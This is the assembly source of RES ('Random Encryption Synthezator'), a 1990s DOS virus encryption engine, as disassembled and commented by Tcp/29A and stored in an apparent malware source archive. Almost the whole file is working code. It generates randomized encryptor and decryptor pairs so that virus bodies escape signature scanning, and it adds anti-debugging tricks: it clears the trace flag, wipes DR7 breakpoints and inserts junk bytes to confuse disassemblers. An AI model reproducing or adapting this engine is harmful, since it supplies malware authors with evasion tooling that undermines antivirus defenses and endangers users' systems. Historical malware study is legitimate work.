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MalwareSourceCode/Libs/Win32/Cryptor/VirTool.Win32.Cryptor.RES.ASM

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Folder structure change, added README
2020-10-16 20:28:58 +00:00
; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; Random Encryption Synthezator (RES), by SSR
; Disasm by Tcp/29A (tcp@cryogen.com)
;
;
; Entry:
; DS:DX = code
; BX = runtime offset
; CX = number of bytes to encrypt
; Return:
; DS:DX = encryptor+code
; CX = size encryptor+code
.386p
RES segment use16
assume cs:RES, ds:RES, es:RES, ss:RES
org 0
RES_SIZE_DEC equ 300h ; But it only needs 169h
res_engine:
start:
call res_delta
res_delta:
pop si
sub si,3 ; Get delta-offset
pop ax
push cs
push ax
push es
mov ax,es
sub ax,10h
mov es,ax
mov di,100h
push cx
mov cx,offset(end_res)
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy RES code to working area
pop ds
pop cx
mov ax,offset(res_start+100h)
push es
push ax
retf ; jmp res_start
res_start:
pop es
mov si,100h
mov ax,es
add ax,(end_res-start+15)/16+1
mov es,ax ; Calculate base segment for decryptor
mov cs:[si+runtime_ofs],bx
mov cs:[si+code_length],cx
push cx
mov cx,RES_SIZE_DEC
xor di,di
mov al,90h ; NOP
cld
rep stosb ; Fill with NOPs
call init_masks
mov cx,8 ; 8 instructions per decryptor
xor di,di
add di,si
l_select_instructions:
push cx
call RES_get_random
mov ah,0
push cx
mov cl,5
shr al,cl ; AX in [0..7]
shl ax,1
shl ax,1 ; AX:=AX*4 (4 bytes per instruction)
pop cx
push di
push si
add di,offset(buffer_decryptor)
add si,offset(decryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select an instruction for decryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
push di
push si
add di,offset(buffer_encryptor)
add si,offset(encryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select the instruction for encryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
add di,4
pop cx
loop l_select_instructions
call reverse_decryptor_table
call make_encryptor
pop cx
push cx
mov bp,dx
mov di,RES_SIZE_DEC
mov cs:[si+code_CRC],0
l_encrypt_code:
mov al,ds:[bp]
mov es:[di],al
mov ah,0
add cs:[si+code_CRC],ax ; Make code CRC
encryptor db 8*4 dup(90h) ; Buffer for encryptor
inc di
inc bp
loop l_encrypt_code
push ds
push cs
pop ds
xor di,di
push si
add si,offset(decryptor_code)
mov cx,decrypted_code-decryptor_code
nop
cld
rep movsb ; Copy decryptor to buffer
pop si
pop ds
push es
pop ds
xor dx,dx ; DS:DX = Address of decryptor+code
pop cx
add cx,RES_SIZE_DEC ; Decryptor+encrypted code
retf
db 0
db 'RandomEncryptionSynthezator',0
db '<27> S.S.R. 1996-97',0
init_masks:
push si
mov cx,3 ; Only first 3 instructions need a mask
l_next_mask:
call RES_get_random
mov byte ptr cs:[si+decryptor_table+3],al ; Store mask
mov byte ptr cs:[si+encryptor_table+3],al
add si,4 ; Next inst.
loop l_next_mask
pop si
ret
RES_get_random:
pushf
in al,40h ; Get random number
ror al,1
xor al,53h
popf
ret
make_encryptor:
push es
push ds
push cs
pop es
push cs
pop ds
push si
in al,40h ; Get random number
mov cx,8
mov di,offset(encryptor)
add di,si
add si,offset(buffer_encryptor)
l_make_encryptor:
rcr al,1 ; Add instruction to encryptor?
jc add_instruction ; Yes? then jmp
nop
nop
add si,4
loop_make_encryptor:
loop l_make_encryptor
jmp encryptor_done
nop
add_instruction:
cld
push cx
mov cx,4
rep movsb ; Store instruction
pop cx
jmp loop_make_encryptor
encryptor_done:
pop si
pop ds
pop es
ret
reverse_decryptor_table:
push ax
push bp
push di
push cx
push bx
mov cx,8/2
mov di,offset(buffer_decryptor)
add di,si
mov bp,offset(end_buffer_dec)-4 ; Point to last inst.
add bp,si
l_reverse_table:
mov ax,cs:[di] ; Xchg instructions
mov bx,cs:[bp]
mov cs:[di],bx
mov cs:[bp],ax
mov ax,cs:[di+2]
mov bx,cs:[bp+2]
mov cs:[di+2],bx
mov cs:[bp+2],ax
sub bp,4 ; xchg next instruction
add di,4
loop l_reverse_table
pop bx
pop cx
pop di
pop bp
pop ax
ret
db 4 ; Unused !!
decryptor_code:
runtime_ofs equ word ptr $+1
mov bp,0 ; mov bp,runtime_ofs
push 1100h+(90h+3Ch-20h)
sub bp,offset(decryptor_code)
mov di,offset(decryptor)
add di,bp
pop ax ; AX:=1100h+(90h+3Ch-20h)
inc cs:[bp+n_decryptors] ; Inc # of tested decryptors
mov cs:[bp+decryptor_ok],0 ; Decryptor not found
mov cs:[bp+decrypting],0 ; Not decrypting
mov cx,20h
push es
push ds
add ax,cx
push cs
pop es
push cs
pop ds
cld
dec cx
sub al,3Ch ; AL:=90h (NOP)
rep stosb
add al,3Ch ; AL:=0CCh (int 3)
stosb
cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
jb create_random_decryptor ; Yes? then jmp
nop
nop
mov ax,cs:[bp+n_decryptors] ; Don't use a random number.
; n_decryptors will be increased, so it'll
; find the correct decryptor.
jmp create_decryptor
nop
db 66h ; Unused!? (antidebug??)
create_random_decryptor:
in al,40h ; Get random number
create_decryptor:
mov cs:[bp+decryptor_id],al ; Why? Never use it!!
mov cx,8
mov si,offset(buffer_decryptor)
add si,bp
mov di,offset(decryptor)
add di,bp
l_make_random_decryptor:
rcr al,1 ; Add instruction to decryptor?
jc add_inst_dec ; Yes? then jmp
nop
nop
add si,4
next_dec_instruction:
loop l_make_random_decryptor
jmp done_random_decryptor
nop
add_inst_dec:
cld
push cx
mov cx,4
rep movsb ; Add instruction
pop cx
jmp next_dec_instruction
done_random_decryptor:
mov di,RES_SIZE_DEC
add di,cs:[bp+runtime_ofs]
code_length equ word ptr $+1
mov cx,0 ; mov cx,code_length
mov bx,cs:[bp+code_CRC]
l_random_decryptor:
mov dl,cs:[di]
decryptor db 8*4 dup(90h)
mov al,dl
mov ah,0
sub bx,ax ; Calculate CRC
cmp cs:[bp+decrypting],1 ; Decrypting?
je decrypt_byte ; Yes? then jmp
nop
nop
loop_decryptor:
inc di
loop l_random_decryptor
pop ds
pop es
cmp bx,0 ; CRC OK?
jnz decryptor_code ; No? then jmp
jmp found_decryptor ; Yes? then jmp
nop
buffer_decryptor db 8*4 dup(90h)
end_buffer_dec:
code_CRC dw 0
decryptor_ok db 0
decrypting db 0
db 0Bh ; Unused!
db 0Bh ; Unused!
db 0Bh ; Unused!
decryptor_id db 0
n_decryptors dw 0
decrypt_byte:
mov cs:[di],dl ; Store decrypted byte
jmp loop_decryptor
found_decryptor:
cmp cs:[bp+decryptor_ok],1 ; Code decrypted?
je code_decrypted ; Yes? then jmp
nop
nop
mov cs:[bp+decrypting],1
mov cs:[bp+decryptor_ok],1
push es
push ds
jmp done_random_decryptor ; Decrypt code
code_decrypted:
jmp anti_disasm1
nop
db 69h ; Antidebug
anti_disasm1:
cli
push 3545h
jmp anti_disasm2
nop
db 0EAh ; Antidebug
anti_disasm2:
cli
inc sp
mov ax,cs:[bp]
xor ax,bx
cld
scasb
inc sp
mov ax,4202h
sub sp,2
pop ax
cmp ax,3545h ; Is it being traced?
jne decrypted_code ; Yes? then jmp
; BUG! Should jump when not traced
nop
nop
xor ax,3445h
mov es,ax
inc byte ptr cs:[0Dh]
and cx,0Fh
rep scasb
xor ax,cs:[si]
pushf
pop ax ; Get flags
and ah,0FEh ; Clear trace flag
push ax
xchg bx,cx
les bx,ds:[2Bh]
popf ; Trace flag off
xor eax,eax
mov dr7,eax ; Clear all breakpoints
dec byte ptr cs:[0Dh]
call skip_reset
db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)
dw 0FFF0h ; but never reach here because in 'skip_reset'
dw 0F000h ; it does a pop of the return address
skip_reset:
pop ax
decrypted_code: ; End of decryptor code
encryptor_table:
xor byte ptr es:[di],0
add byte ptr es:[di],0
sub byte ptr es:[di],0
nop
ror byte ptr es:[di],1
nop
rol byte ptr es:[di],1
nop
neg byte ptr es:[di]
nop
not byte ptr es:[di]
nop
neg byte ptr es:[di]
decryptor_table:
nop
xor dl,0
nop
sub dl,0
nop
add dl,0
nop
nop
rol dl,1
nop
nop
ror dl,1
nop
nop
neg dl
nop
nop
not dl
nop
nop
neg dl
buffer_encryptor db 8*4 dup(90h)
end_res:
RES ends
public res_engine
end
; End of RES disasm
; (c) 1997, Tcp/29A (tcp@cryogen.com)
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